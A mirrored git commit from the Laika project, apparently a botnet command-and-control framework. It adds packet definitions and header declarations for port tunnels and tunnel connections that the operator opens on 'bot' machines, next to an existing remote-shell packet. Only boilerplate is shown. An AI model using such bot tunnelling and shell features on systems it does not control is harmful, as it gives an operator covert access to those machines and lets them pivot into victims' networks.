1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-26 03:40:05 +00:00

Added Tunnel & Tunnel Connection boilerplate to lib

This commit is contained in:
2022-03-28 15:49:50 -05:00
parent 42199fc7c9
commit a4dc723e15
7 changed files with 239 additions and 9 deletions

View File

@@ -53,6 +53,30 @@ enum {
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
*/
LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */
/* layout of LAIKAPKT_TUNNEL_OPEN:
* uint16_t port;
*/
LAIKAPKT_TUNNEL_CLOSE, /* if sent to bot, closes a tunnel to localhost's port. if sent to cnc, signifies you closed the tunnel */
/* layout of LAIKAPKT_TUNNEL_CLOSE:
* uint16_t port;
*/
LAIKAPKT_TUNNEL_CONNECTION_ADD,
/* layout of LAIKAPKT_TUNNEL_CONNECTION_ADD:
* uint16_t port;
* uint16_t id;
*/
LAIKAPKT_TUNNEL_CONNECTION_RMV,
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
* uint16_t port;
* uint16_t id;
*/
LAIKAPKT_TUNNEL_CONNECTION_DATA,
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
* uint16_t port;
* uint16_t id;
* uint8_t data[VAR_PACKET_LENGTH-4]; -- '-4' for the port & id
*/
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
/* layout of LAIKAPKT_SHELL_OPEN:
* uint16_t cols;

34
lib/include/ltunnel.h Normal file
View File

@@ -0,0 +1,34 @@
#ifndef SHELLTUNNEL_H
#define SHELLTUNNEL_H
#include <inttypes.h>
#include "lmem.h"
#include "lsocket.h"
#include "lpeer.h"
#include "lpolllist.h"
struct sLaika_tunnel;
struct sLaika_tunnelConnection {
struct sLaika_socket sock;
struct sLaika_tunnel *tunnel;
struct sLaika_tunnelConnection *next;
uint16_t id;
};
struct sLaika_tunnel {
struct sLaika_tunnelConnection *connectionHead;
struct sLaika_peer *peer;
uint16_t port;
};
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port);
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel);
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id);
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection);
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz);
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id);
#endif